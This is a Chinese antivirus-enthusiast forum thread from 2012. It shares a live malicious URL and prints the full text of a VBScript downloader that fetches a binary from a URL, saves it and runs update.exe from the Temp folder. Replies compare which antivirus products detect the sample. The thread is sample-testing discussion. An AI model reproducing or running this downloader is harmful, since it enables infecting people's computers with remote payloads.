http://kodupe.ko.funpic.org/ （这个有意思）[恶意][by 帅就是帅]

firefox3

http://kodupe.ko.funpic.org/
















winconfig.7z (458 Bytes, 下载次数: 195)

2012-5-20 22:11 上传

点击文件名下载附件
winconfig.vbs内容如下:
Const adTypeBinary = 1  
Const adSaveCreateOverWrite = 2  
Dim S  
Dim A  
Dim DTNDTN  
S = "ADODB"  
A = ".Stream"  
Set DTNDTN = CreateObject(S+A)  
DTNDTN.Type = adTypeBinary  
DTNDTN.Open  
DTNDTN.Write BinaryGetURL(Wscript.Arguments(0))  
DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite  
Function BinaryGetURL(URL)  
Dim Http  
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")  
Http.Open "GET", URL, False  
Http.Send  
BinaryGetURL = Http.ResponseBody  
End Function  
Set shell = CreateObject("WScript.Shell")  
shell.Run "C:\Users\XXXX~1\AppData\Local\Temp\update.exe"  


update.exe运行reg.exe……可惜Sophos干掉update.exe

英九

STOP! Bitdefender blocked this web page.
The page you are trying to access contains malware.

Details:
Web Page: [http://bbs.kafan.cn/forum.php?mod=attachment&aid=MTY1Mjg3Mnw...
Detected viruses: Trojan.Downloader.VBS.DZ

Access from your browser has been blocked.
Take me back to safety

firefox3

英九 发表于 2012-5-20 23:12
STOP! Bitdefender blocked this web page.
The page you are trying to access contains malware.

关闭BD的防病毒测试主防才有意思

Nocria

无法打开。


不过从搜索引擎的结果看，LinkScanner 未报风险。

firefox3

humanlwj52 发表于 2012-5-21 17:51
无法打开。

ZaiXian{过}{滤}代{过}{滤}理  http://proxyie.cn/

Nocria

firefox3 发表于 2012-5-21 18:10
ZaiXian{过}{滤}代{过}{滤}理  http://proxyie.cn/

Online Shield 报：

关闭 Online Shield 后，LinkScanner 报：

关闭 LinkScanner 后，Resident Shield 报缓存：

firefox3

humanlwj52 发表于 2012-5-21 18:21
Online Shield 报：

关闭 Online Shield 后，LinkScanner 报：

图片贴错了？

wuyongliang

FS杀了

firefox3

wuyongliang 发表于 2012-5-21 18:27
FS杀了

关闭防病毒，测试FS主防

wuyongliang

firefox3 发表于 2012-5-21 18:28
关闭防病毒，测试FS主防

沙盘运行不了VBS 的  所以就不测试了